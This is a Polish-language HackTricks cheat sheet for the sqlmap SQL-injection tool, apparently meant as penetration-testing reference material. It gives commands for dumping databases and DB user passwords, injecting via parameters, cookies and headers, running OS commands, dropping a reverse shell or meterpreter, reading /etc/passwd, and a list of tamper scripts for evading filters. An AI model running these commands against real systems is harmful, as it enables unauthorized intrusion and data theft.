SQLMap - Cheetsheat

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Natychmiastowa konfiguracja dostępna do oceny podatności i testów penetracyjnych. Uruchom pełne testy penetracyjne z dowolnego miejsca za pomocą ponad 20 narzędzi i funkcji, które obejmują rozpoznanie, raportowanie. Nie zastępujemy pentesterów - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby umożliwić im zagłębienie się głębiej, przejęcie kontroli i dobrą zabawę.

Podstawowe argumenty dla SQLmap

Ogólne

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Pobierz informacje

Wewnętrzne

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

Dane bazy danych

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Miejsce wstrzyknięcia

Z przechwycenia w Burp/ZAP

Przechwyć żądanie i utwórz plik req.txt

sqlmap -r req.txt --current-user

Wstrzykiwanie żądania GET

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Wstrzykiwanie żądania POST

sqlmap -u "http://example.com" --data "username=*&password=*"

Wstrzykiwanie w nagłówkach i innych metodach HTTP

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Wskaż ciąg znaków, gdy wstrzykiwanie jest udane

--string="string_showed_when_TRUE"

Eval

Sqlmap pozwala na użycie opcji -e lub --eval do przetwarzania każdego ładunku przed wysłaniem go za pomocą jednoliniowego skryptu w języku Python. Dzięki temu można bardzo łatwo i szybko przetwarzać ładunek w niestandardowy sposób przed jego wysłaniem. W poniższym przykładzie sesja cookie flask jest podpisywana przez flask znanym sekretem przed wysłaniem:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Powłoka

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Odczytaj plik

--file-read=/etc/passwd

Przeszukiwanie strony internetowej za pomocą SQLmap i automatyczne wykorzystanie błędów

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Wstrzykiwanie drugiego rzędu

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Przeczytaj ten posto tym, jak wykonywać proste i złożone wstrzyknięcia drugiego rzędu za pomocą sqlmap.

Dostosowywanie Wstrzyknięcia

Ustawianie sufiksu

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Przedrostek

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Pomoc w znalezieniu wstrzyknięcia booleanowskiego

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Modyfikacja

Pamiętaj, że możesz stworzyć własną modyfikację w języku Python i jest to bardzo proste. Przykład modyfikacji znajdziesz na stronie Wstrzyknięcie drugiego rzędu tutaj.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperOpis

apostrophemask.py

Zamienia znak apostrofu na jego pełnowymiarowy odpowiednik w UTF-8

apostrophenullencode.py

Zamienia znak apostrofu na jego nielegalny podwójny odpowiednik Unicode

appendnullbyte.py

Dołącza zakodowany znak bajtowy NULL na końcu ładunku

base64encode.py

Koduje Base64 wszystkie znaki w podanym ładunku

between.py

Zamienia operator większy niż ('>') na 'NOT BETWEEN 0 AND #'

bluecoat.py

Zamienia znak spacji po instrukcji SQL na poprawny losowy pusty znak. Następnie zamienia znak '=' na operator LIKE

chardoubleencode.py

Podwaja koduje wszystkie znaki w podanym ładunku URL (nie przetwarzając już zakodowanych)

commalesslimit.py

Zamienia wystąpienia 'LIMIT M, N' na 'LIMIT N OFFSET M'

commalessmid.py

Zamienia wystąpienia 'MID(A, B, C)' na 'MID(A FROM B FOR C)'

concat2concatws.py

Zamienia wystąpienia 'CONCAT(A, B)' na 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'

charencode.py

Koduje URL wszystkie znaki w podanym ładunku (nie przetwarzając już zakodowanych)

charunicodeencode.py

Koduje Unicode-URL niezakodowane znaki w podanym ładunku (nie przetwarzając już zakodowanych). "%u0022"

charunicodeescape.py

Koduje Unicode-URL niezakodowane znaki w podanym ładunku (nie przetwarzając już zakodowanych). "\u0022"

equaltolike.py

Zamienia wszystkie wystąpienia operatora równości ('=') na operator 'LIKE'

escapequotes.py

Ucieka przed cudzysłowami (' and ")

greatest.py

Zamienia operator większy niż ('>') na odpowiednik 'GREATEST'

halfversionedmorekeywords.py

Dodaje skomentowany komentarz MySQL przed każdym słowem kluczowym

ifnull2ifisnull.py

Zamienia wystąpienia 'IFNULL(A, B)' na 'IF(ISNULL(A), B, A)'

modsecurityversioned.py

Otacza pełne zapytanie skomentowanym komentarzem wersji

modsecurityzeroversioned.py

Otacza pełne zapytanie zerowym komentarzem wersji

multiplespaces.py

Dodaje wiele spacji wokół słów kluczowych SQL

nonrecursivereplacement.py

Zamienia predefiniowane słowa kluczowe SQL na odpowiednie reprezentacje do zastąpienia (np. .replace("SELECT", "")) filtry

percentage.py

Dodaje znak procentu ('%') przed każdym znakiem

overlongutf8.py

Konwertuje wszystkie znaki w podanym ładunku (nie przetwarzając już zakodowanych)

randomcase.py

Zamienia każdy znak słowa kluczowego na losową wartość wielkości liter

randomcomments.py

Dodaje losowe komentarze do słów kluczowych SQL

securesphere.py

Dołącza specjalnie spreparowany ciąg znaków

sp_password.py

Dołącza 'sp_password' na końcu ładunku w celu automatycznej obfuskacji w dziennikach DBMS

space2comment.py

Zamienia znak spacji (' ') na komentarze

space2dash.py

Zamienia znak spacji (' ') na komentarz myślnika ('--') po którym następuje losowy ciąg znaków i nowa linia ('\n')

space2hash.py

Zamienia znak spacji (' ') na znak krzyżyka ('#') po którym następuje losowy ciąg znaków i nowa linia ('\n')

space2morehash.py

Zamienia znak spacji (' ') na znak krzyżyka ('#') po którym następuje losowy ciąg znaków i nowa linia ('\n')

space2mssqlblank.py

Zamienia znak spacji (' ') na losowy pusty znak z zestawu alternatywnych znaków

space2mssqlhash.py

Zamienia znak spacji (' ') na znak krzyżyka ('#') po którym następuje nowa linia ('\n')

space2mysqlblank.py

Zamienia znak spacji (' ') na losowy pusty znak z zestawu alternatywnych znaków

space2mysqldash.py

Zamienia znak spacji (' ') na komentarz myślnika ('--') po którym następuje nowa linia ('\n')

space2plus.py

Zamienia znak spacji (' ') na plus ('+')

space2randomblank.py

Zamienia znak spacji (' ') na losowy pusty znak z zestawu alternatywnych znaków

symboliclogical.py

Zamienia operatory logiczne AND i OR na ich symboliczne odpowiedniki (&& i

unionalltounion.py

Zamienia UNION ALL SELECT na UNION SELECT

unmagicquotes.py

Zamienia znak cudzysłowia (') na kombinację wielobajtową %bf%27 wraz z ogólnym komentarzem na końcu (aby działało)

uppercase.py

Zamienia każdy znak słowa kluczowego na wartość wielkich liter 'INSERT'

varnish.py

Dołącza nagłówek HTTP 'X-originating-IP'

versionedkeywords.py

Otacza każde słowo kluczowe niebędące funkcją komentarzem MySQL wersji

versionedmorekeywords.py

Otacza każde słowo kluczowe komentarzem MySQL wersji

xforwardedfor.py

Dołącza fałszywy nagłówek HTTP 'X-Forwarded-For'

Natychmiastowa konfiguracja do oceny podatności i testów penetracyjnych. Uruchom pełne testy penetracyjne z dowolnego miejsca za pomocą 20+ narzędzi i funkcji, które obejmują od rozpoznania po raportowanie. Nie zastępujemy testerów penetracyjnych - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby umożliwić im zagłębianie się, przejmowanie kontroli i dobrą zabawę.

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated